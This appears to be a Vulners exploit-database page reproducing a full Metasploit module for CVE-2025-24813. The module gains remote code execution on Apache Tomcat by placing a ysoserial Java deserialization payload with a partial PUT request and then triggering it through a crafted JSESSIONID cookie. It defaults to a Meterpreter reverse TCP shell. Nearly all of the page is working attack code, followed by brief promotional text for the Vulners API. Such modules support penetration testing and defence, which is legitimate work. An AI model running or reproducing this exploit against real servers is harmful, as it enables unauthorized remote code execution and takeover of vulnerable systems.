Lucene search
K

📄 Tomcat Partial PUT Java Deserialization

🗓️ 03 Apr 2025 00:00:00Reported by sw0rd1ight, Calum Hutton, h4ck3r-04Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 413 Views

Exploits Java deserialization in Tomcat using partial PUT requests to deploy payloads.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::JavaDeserialization
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tomcat Partial PUT Java Deserialization',
            'Description' => %q{
              This module exploits a Java deserialization vulnerability in Apache
              Tomcat's session restoration functionality that can be exploited with a partial HTTP PUT request to
              place an attacker controlled deserialization payload in the <tomcat_root_dir>/webapps/ROOT/ directory.
    
              For the exploit to succeed, writes must be enabled for the default servlet,
              and org.apache.catalina.session.PersistentManager must be configured to use
              org.apache.catalina.session.FileStore.
    
              Verified working on 10.1.16-1
            },
            'Author' => [
              'sw0rd1ight', # Discovery
              'Calum Hutton', # MSF Module
              'h4ck3r-04' # MSF Module
            ],
            'References' => [
              ['CVE', '2025-24813'],
              ['URL', 'https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2025-24813'],
            ],
            'DisclosureDate' => '2025-03-10', # Vendor release note
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux', 'win'],
            'Arch' => [ARCH_CMD],
            'Privileged' => false,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :windows_cmd
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => false,
              'RPORT' => 443
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('GADGET', [true, 'ysoserial gadget', 'CommonsBeanutils1']),
        ])
      end
    
      def check
        # Advanced check, runs the full exploit (without a command)
        # Assumes a 500 response from requesting the session indicates success
        begin
          upload_session_id = upload_payload('')
          unless upload_session_id
            return Exploit::CheckCode::Safe
          end
        rescue Msf::Exploit::Failed => e
          return CheckCode::Safe(e)
        end
    
        trigger_res = trigger_payload(upload_session_id)
        if trigger_res&.code != 500
          Exploit::CheckCode::Safe
        end
    
        Exploit::CheckCode::Vulnerable
      end
    
      def exploit
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_command(payload.encoded)
      end
    
      def execute_command(cmd, _opts = {})
        print_status("Utilizing #{datastore['GADGET']} deserialization chain")
    
        upload_session_id = upload_payload(cmd)
        unless upload_session_id
          fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
        end
    
        print_good("Uploaded ysoserial payload (#{upload_session_id}.session) via partial PUT")
        print_status('Attempting to deserialize session file..')
    
        trigger_payload_res = trigger_payload(upload_session_id)
        unless trigger_payload_res&.code == 500
          fail_with(Failure::UnexpectedReply, "Failed to deserialize session: #{trigger_payload_res.code}")
        end
    
        print_good('500 error response usually indicates success :)')
      end
    
      def upload_payload(cmd)
        # Generate a random session id
        session_id = Rex::Text.rand_text_alpha(10)
        # Determine the shell and register the payload for cleanup
        case target['Platform']
        when ['unix', 'linux']
          shell = 'bash'
          register_file_for_cleanup("../webapps/ROOT/#{session_id}.session")
        when 'win'
          shell = 'cmd'
          register_file_for_cleanup("..\\webapps\\ROOT\\#{session_id}.session}")
        else
          fail_with(Failure::NoTarget, "Unsupported target platform! (#{target['Platform']})")
        end
    
        res = send_partial_put(
          generate_java_deserialization_for_command(datastore['GADGET'].to_s, shell, cmd),
          "#{session_id}.session"
        )
    
        # 201/204 is the normal success code
        # 409 indicates a conflict or file permission issue
        # but the partial file will still be created
        if [201, 204, 409].include?(res&.code)
          session_id
        end
      end
    
      def trigger_payload(session_id)
        # Request the session id to retrieve the file and trigger deserialization
        request = {
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'headers' => { 'Cookie' => "JSESSIONID=.#{session_id}" }
        }
        send_request_cgi(request)
      end
    
      def send_partial_put(data, name)
        request = {
          'method' => 'PUT',
          'uri' => normalize_uri(target_uri.path, name),
          'headers' => { 'Content-Range' => 'bytes 0-5/100' },
          'data' => data
        }
        send_request_cgi(request)
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation